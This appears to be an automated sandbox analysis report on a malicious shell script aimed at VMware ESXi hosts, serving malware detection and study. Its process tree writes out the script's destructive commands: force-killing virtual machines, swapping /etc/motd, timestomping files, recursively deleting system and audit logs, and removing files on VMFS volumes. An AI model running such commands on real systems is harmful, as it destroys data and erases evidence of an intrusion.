Resubmissions

15-03-2024 16:07

240315-tkykeacf7z 1

25-02-2024 14:29

240225-rtjrhaee9z 10

Analysis

  • max time kernel
    3s
  • max time network
    1678s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240221-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240221-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    25-02-2024 14:29

General

  • Target

    script_malware/aa5a487db37ce176e17c7abbb2b1d460ba926344e46737f2f64b65bf5a4a3e58.sh

  • Size

    4KB

  • MD5

    34de9725e232ba82275bb0dcf9282e16

  • SHA1

    b17403e7dcb992ba8d2b56dd843406264d3910e5

  • SHA256

    aa5a487db37ce176e17c7abbb2b1d460ba926344e46737f2f64b65bf5a4a3e58

  • SHA512

    1e63fe08153e6b3c1b3593fcc070d297a1d0e67ffc3b7f3fc58b71b4b39487f1fe738b863ea5e23c21159b248bc2149a69009ee5372ff17d386effc4f2111fd7

Score
7/10

Malware Config

Signatures

  • Deletes Audit logs 1 TTPs 1 IoCs

    Deletes logs related to the Linux Audit framework.

  • Deletes log files 1 TTPs 11 IoCs

    Deletes log files on the system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads CPU attributes 1 TTPs 17 IoCs
  • Reads hardware information 1 TTPs 1 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Reads network interface configuration 2 TTPs 12 IoCs

    Fetches information about one or more active network interfaces.

  • Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

Processes

  • /tmp/script_malware/aa5a487db37ce176e17c7abbb2b1d460ba926344e46737f2f64b65bf5a4a3e58.sh
    /tmp/script_malware/aa5a487db37ce176e17c7abbb2b1d460ba926344e46737f2f64b65bf5a4a3e58.sh
    1⤵
      PID:1482
      • /usr/bin/chmod
        chmod +x /tmp/164f8295_linux.elf
        2⤵
          PID:1483
        • /usr/bin/awk
          awk -F "," "NR > 1 {system(\"esxcli vm process kill --type=force --world-id=\" \$1)}"
          2⤵
            PID:1487
          • /usr/bin/find
            find /usr/lib/vmware -type f -name index.html
            2⤵
              PID:1505
            • /usr/bin/mv
              mv /etc/motd /etc/motd.backup
              2⤵
                PID:1506
              • /usr/bin/cp
                cp /tmp/motd /etc/motd
                2⤵
                  PID:1507
                • /usr/bin/touch
                  touch -r /etc/vmware/rhttpproxy/config.xml /etc/vmware/rhttpproxy/endpoints.conf
                  2⤵
                    PID:1512
                  • /usr/bin/touch
                    touch -r /etc/vmware/rhttpproxy/config.xml /bin/hostd-probe.sh
                    2⤵
                      PID:1513
                    • /usr/bin/touch
                      touch -r /etc/vmware/rhttpproxy/config.xml /etc/rc.local.d/local.sh
                      2⤵
                        PID:1514
                      • /usr/bin/find
                        find / -name "*.log" -exec rm -rf "{}" ";"
                        2⤵
                        • Reads CPU attributes
                        • Reads hardware information
                        • Reads network interface configuration
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:1515
                        • /usr/local/sbin/rm
                          rm -rf /var/lib/gdm3/.local/share/gvfs-metadata/root-e9de34b2.log
                          3⤵
                            PID:1516
                          • /usr/local/bin/rm
                            rm -rf /var/lib/gdm3/.local/share/gvfs-metadata/root-e9de34b2.log
                            3⤵
                              PID:1516
                            • /usr/sbin/rm
                              rm -rf /var/lib/gdm3/.local/share/gvfs-metadata/root-e9de34b2.log
                              3⤵
                                PID:1516
                              • /usr/bin/rm
                                rm -rf /var/lib/gdm3/.local/share/gvfs-metadata/root-e9de34b2.log
                                3⤵
                                  PID:1516
                                • /usr/local/sbin/rm
                                  rm -rf /var/log/auth.log
                                  3⤵
                                    PID:1520
                                  • /usr/local/bin/rm
                                    rm -rf /var/log/auth.log
                                    3⤵
                                      PID:1520
                                    • /usr/sbin/rm
                                      rm -rf /var/log/auth.log
                                      3⤵
                                        PID:1520
                                      • /usr/bin/rm
                                        rm -rf /var/log/auth.log
                                        3⤵
                                        • Deletes log files
                                        PID:1520
                                      • /usr/local/sbin/rm
                                        rm -rf /var/log/kern.log
                                        3⤵
                                          PID:1521
                                        • /usr/local/bin/rm
                                          rm -rf /var/log/kern.log
                                          3⤵
                                            PID:1521
                                          • /usr/sbin/rm
                                            rm -rf /var/log/kern.log
                                            3⤵
                                              PID:1521
                                            • /usr/bin/rm
                                              rm -rf /var/log/kern.log
                                              3⤵
                                              • Deletes log files
                                              PID:1521
                                            • /usr/local/sbin/rm
                                              rm -rf /var/log/fontconfig.log
                                              3⤵
                                                PID:1522
                                              • /usr/local/bin/rm
                                                rm -rf /var/log/fontconfig.log
                                                3⤵
                                                  PID:1522
                                                • /usr/sbin/rm
                                                  rm -rf /var/log/fontconfig.log
                                                  3⤵
                                                    PID:1522
                                                  • /usr/bin/rm
                                                    rm -rf /var/log/fontconfig.log
                                                    3⤵
                                                    • Deletes log files
                                                    PID:1522
                                                  • /usr/local/sbin/rm
                                                    rm -rf /var/log/gpu-manager.log
                                                    3⤵
                                                      PID:1523
                                                    • /usr/local/bin/rm
                                                      rm -rf /var/log/gpu-manager.log
                                                      3⤵
                                                        PID:1523
                                                      • /usr/sbin/rm
                                                        rm -rf /var/log/gpu-manager.log
                                                        3⤵
                                                          PID:1523
                                                        • /usr/bin/rm
                                                          rm -rf /var/log/gpu-manager.log
                                                          3⤵
                                                          • Deletes log files
                                                          PID:1523
                                                        • /usr/local/sbin/rm
                                                          rm -rf /var/log/audit/audit.log
                                                          3⤵
                                                            PID:1524
                                                          • /usr/local/bin/rm
                                                            rm -rf /var/log/audit/audit.log
                                                            3⤵
                                                              PID:1524
                                                            • /usr/sbin/rm
                                                              rm -rf /var/log/audit/audit.log
                                                              3⤵
                                                                PID:1524
                                                              • /usr/bin/rm
                                                                rm -rf /var/log/audit/audit.log
                                                                3⤵
                                                                • Deletes Audit logs
                                                                PID:1524
                                                              • /usr/local/sbin/rm
                                                                rm -rf /var/log/dpkg.log
                                                                3⤵
                                                                  PID:1525
                                                                • /usr/local/bin/rm
                                                                  rm -rf /var/log/dpkg.log
                                                                  3⤵
                                                                    PID:1525
                                                                  • /usr/sbin/rm
                                                                    rm -rf /var/log/dpkg.log
                                                                    3⤵
                                                                      PID:1525
                                                                    • /usr/bin/rm
                                                                      rm -rf /var/log/dpkg.log
                                                                      3⤵
                                                                      • Deletes log files
                                                                      PID:1525
                                                                    • /usr/local/sbin/rm
                                                                      rm -rf /var/log/ubuntu-advantage.log
                                                                      3⤵
                                                                        PID:1526
                                                                      • /usr/local/bin/rm
                                                                        rm -rf /var/log/ubuntu-advantage.log
                                                                        3⤵
                                                                          PID:1526
                                                                        • /usr/sbin/rm
                                                                          rm -rf /var/log/ubuntu-advantage.log
                                                                          3⤵
                                                                            PID:1526
                                                                          • /usr/bin/rm
                                                                            rm -rf /var/log/ubuntu-advantage.log
                                                                            3⤵
                                                                            • Deletes log files
                                                                            PID:1526
                                                                          • /usr/local/sbin/rm
                                                                            rm -rf /var/log/apt/history.log
                                                                            3⤵
                                                                              PID:1527
                                                                            • /usr/local/bin/rm
                                                                              rm -rf /var/log/apt/history.log
                                                                              3⤵
                                                                                PID:1527
                                                                              • /usr/sbin/rm
                                                                                rm -rf /var/log/apt/history.log
                                                                                3⤵
                                                                                  PID:1527
                                                                                • /usr/bin/rm
                                                                                  rm -rf /var/log/apt/history.log
                                                                                  3⤵
                                                                                  • Deletes log files
                                                                                  PID:1527
                                                                                • /usr/local/sbin/rm
                                                                                  rm -rf /var/log/apt/term.log
                                                                                  3⤵
                                                                                    PID:1528
                                                                                  • /usr/local/bin/rm
                                                                                    rm -rf /var/log/apt/term.log
                                                                                    3⤵
                                                                                      PID:1528
                                                                                    • /usr/sbin/rm
                                                                                      rm -rf /var/log/apt/term.log
                                                                                      3⤵
                                                                                        PID:1528
                                                                                      • /usr/bin/rm
                                                                                        rm -rf /var/log/apt/term.log
                                                                                        3⤵
                                                                                        • Deletes log files
                                                                                        PID:1528
                                                                                      • /usr/local/sbin/rm
                                                                                        rm -rf /var/log/unattended-upgrades/unattended-upgrades-shutdown.log
                                                                                        3⤵
                                                                                          PID:1529
                                                                                        • /usr/local/bin/rm
                                                                                          rm -rf /var/log/unattended-upgrades/unattended-upgrades-shutdown.log
                                                                                          3⤵
                                                                                            PID:1529
                                                                                          • /usr/sbin/rm
                                                                                            rm -rf /var/log/unattended-upgrades/unattended-upgrades-shutdown.log
                                                                                            3⤵
                                                                                              PID:1529
                                                                                            • /usr/bin/rm
                                                                                              rm -rf /var/log/unattended-upgrades/unattended-upgrades-shutdown.log
                                                                                              3⤵
                                                                                              • Deletes log files
                                                                                              PID:1529
                                                                                            • /usr/local/sbin/rm
                                                                                              rm -rf /var/log/alternatives.log
                                                                                              3⤵
                                                                                                PID:1530
                                                                                              • /usr/local/bin/rm
                                                                                                rm -rf /var/log/alternatives.log
                                                                                                3⤵
                                                                                                  PID:1530
                                                                                                • /usr/sbin/rm
                                                                                                  rm -rf /var/log/alternatives.log
                                                                                                  3⤵
                                                                                                    PID:1530
                                                                                                  • /usr/bin/rm
                                                                                                    rm -rf /var/log/alternatives.log
                                                                                                    3⤵
                                                                                                    • Deletes log files
                                                                                                    PID:1530
                                                                                                  • /usr/local/sbin/rm
                                                                                                    rm -rf /var/log/Xorg.0.log
                                                                                                    3⤵
                                                                                                      PID:1531
                                                                                                    • /usr/local/bin/rm
                                                                                                      rm -rf /var/log/Xorg.0.log
                                                                                                      3⤵
                                                                                                        PID:1531
                                                                                                      • /usr/sbin/rm
                                                                                                        rm -rf /var/log/Xorg.0.log
                                                                                                        3⤵
                                                                                                          PID:1531
                                                                                                        • /usr/bin/rm
                                                                                                          rm -rf /var/log/Xorg.0.log
                                                                                                          3⤵
                                                                                                          • Deletes log files
                                                                                                          PID:1531
                                                                                                        • /usr/local/sbin/rm
                                                                                                          rm -rf /root/.local/share/gvfs-metadata/trash:-d4ccb72f.log
                                                                                                          3⤵
                                                                                                            PID:1565
                                                                                                          • /usr/local/bin/rm
                                                                                                            rm -rf /root/.local/share/gvfs-metadata/trash:-d4ccb72f.log
                                                                                                            3⤵
                                                                                                              PID:1565
                                                                                                            • /usr/sbin/rm
                                                                                                              rm -rf /root/.local/share/gvfs-metadata/trash:-d4ccb72f.log
                                                                                                              3⤵
                                                                                                                PID:1565
                                                                                                              • /usr/bin/rm
                                                                                                                rm -rf /root/.local/share/gvfs-metadata/trash:-d4ccb72f.log
                                                                                                                3⤵
                                                                                                                  PID:1565
                                                                                                                • /usr/local/sbin/rm
                                                                                                                  rm -rf /root/.local/share/gvfs-metadata/home-70c1dbf4.log
                                                                                                                  3⤵
                                                                                                                    PID:1566
                                                                                                                  • /usr/local/bin/rm
                                                                                                                    rm -rf /root/.local/share/gvfs-metadata/home-70c1dbf4.log
                                                                                                                    3⤵
                                                                                                                      PID:1566
                                                                                                                    • /usr/sbin/rm
                                                                                                                      rm -rf /root/.local/share/gvfs-metadata/home-70c1dbf4.log
                                                                                                                      3⤵
                                                                                                                        PID:1566
                                                                                                                      • /usr/bin/rm
                                                                                                                        rm -rf /root/.local/share/gvfs-metadata/home-70c1dbf4.log
                                                                                                                        3⤵
                                                                                                                          PID:1566
                                                                                                                        • /usr/local/sbin/rm
                                                                                                                          rm -rf /root/.local/share/gvfs-metadata/root-cd51b59a.log
                                                                                                                          3⤵
                                                                                                                            PID:1568
                                                                                                                          • /usr/local/bin/rm
                                                                                                                            rm -rf /root/.local/share/gvfs-metadata/root-cd51b59a.log
                                                                                                                            3⤵
                                                                                                                              PID:1568
                                                                                                                            • /usr/sbin/rm
                                                                                                                              rm -rf /root/.local/share/gvfs-metadata/root-cd51b59a.log
                                                                                                                              3⤵
                                                                                                                                PID:1568
                                                                                                                              • /usr/bin/rm
                                                                                                                                rm -rf /root/.local/share/gvfs-metadata/root-cd51b59a.log
                                                                                                                                3⤵
                                                                                                                                  PID:1568
                                                                                                                                • /usr/local/sbin/rm
                                                                                                                                  rm -rf /run/initramfs/fsck.log
                                                                                                                                  3⤵
                                                                                                                                    PID:1570
                                                                                                                                  • /usr/local/bin/rm
                                                                                                                                    rm -rf /run/initramfs/fsck.log
                                                                                                                                    3⤵
                                                                                                                                      PID:1570
                                                                                                                                    • /usr/sbin/rm
                                                                                                                                      rm -rf /run/initramfs/fsck.log
                                                                                                                                      3⤵
                                                                                                                                        PID:1570
                                                                                                                                      • /usr/bin/rm
                                                                                                                                        rm -rf /run/initramfs/fsck.log
                                                                                                                                        3⤵
                                                                                                                                          PID:1570
                                                                                                                                      • /usr/bin/find
                                                                                                                                        find /vmfs/volumes -type f -name "*.*~" -exec rm -rf "{}" ";"
                                                                                                                                        2⤵
                                                                                                                                          PID:1959
                                                                                                                                        • /usr/bin/rm
                                                                                                                                          rm -f /tmp/164f8295_linux.elf /tmp/index.html /tmp/motd
                                                                                                                                          2⤵
                                                                                                                                            PID:1960
                                                                                                                                          • /bin/sh
                                                                                                                                            /bin/sh /bin/auto-backup.sh
                                                                                                                                            2⤵
                                                                                                                                              PID:1961
                                                                                                                                            • /usr/bin/rm
                                                                                                                                              rm -- /tmp/script_malware/aa5a487db37ce176e17c7abbb2b1d460ba926344e46737f2f64b65bf5a4a3e58.sh
                                                                                                                                              2⤵
                                                                                                                                                PID:1962
                                                                                                                                              • /etc/init.d/SSH
                                                                                                                                                /etc/init.d/SSH start
                                                                                                                                                2⤵
                                                                                                                                                  PID:1963
                                                                                                                                              • /usr/bin/grep
                                                                                                                                                grep vmx
                                                                                                                                                1⤵
                                                                                                                                                  PID:1490
                                                                                                                                                • /usr/bin/awk
                                                                                                                                                  awk "{print \$2}"
                                                                                                                                                  1⤵
                                                                                                                                                    PID:1491
                                                                                                                                                  • /usr/bin/ps
                                                                                                                                                    ps
                                                                                                                                                    1⤵
                                                                                                                                                    • Reads CPU attributes
                                                                                                                                                    • Reads runtime system information
                                                                                                                                                    PID:1489
                                                                                                                                                  • /usr/bin/awk
                                                                                                                                                    awk "NR > 2 { print \$1 }"
                                                                                                                                                    1⤵
                                                                                                                                                      PID:1495
                                                                                                                                                    • /usr/bin/awk
                                                                                                                                                      awk "-F " "{print \$2}"
                                                                                                                                                      1⤵
                                                                                                                                                        PID:1499
                                                                                                                                                      • /usr/bin/grep
                                                                                                                                                        grep /vmfs/volumes/
                                                                                                                                                        1⤵
                                                                                                                                                          PID:1498
                                                                                                                                                        • /usr/bin/wc
                                                                                                                                                          wc -l
                                                                                                                                                          1⤵
                                                                                                                                                            PID:1504
                                                                                                                                                          • /usr/bin/grep
                                                                                                                                                            grep -v grep
                                                                                                                                                            1⤵
                                                                                                                                                              PID:1503
                                                                                                                                                            • /usr/bin/grep
                                                                                                                                                              grep 164f8295_linux.elf
                                                                                                                                                              1⤵
                                                                                                                                                                PID:1502
                                                                                                                                                              • /usr/bin/ps
                                                                                                                                                                ps
                                                                                                                                                                1⤵
                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                PID:1501
                                                                                                                                                              • /usr/bin/wc
                                                                                                                                                                wc -l
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:1511
                                                                                                                                                                • /usr/bin/grep
                                                                                                                                                                  grep " 7."
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:1510
                                                                                                                                                                  • /bin/vmware
                                                                                                                                                                    /bin/vmware -l
                                                                                                                                                                    1⤵
                                                                                                                                                                      PID:1509

                                                                                                                                                                    Network

                                                                                                                                                                    MITRE ATT&CK Enterprise v15

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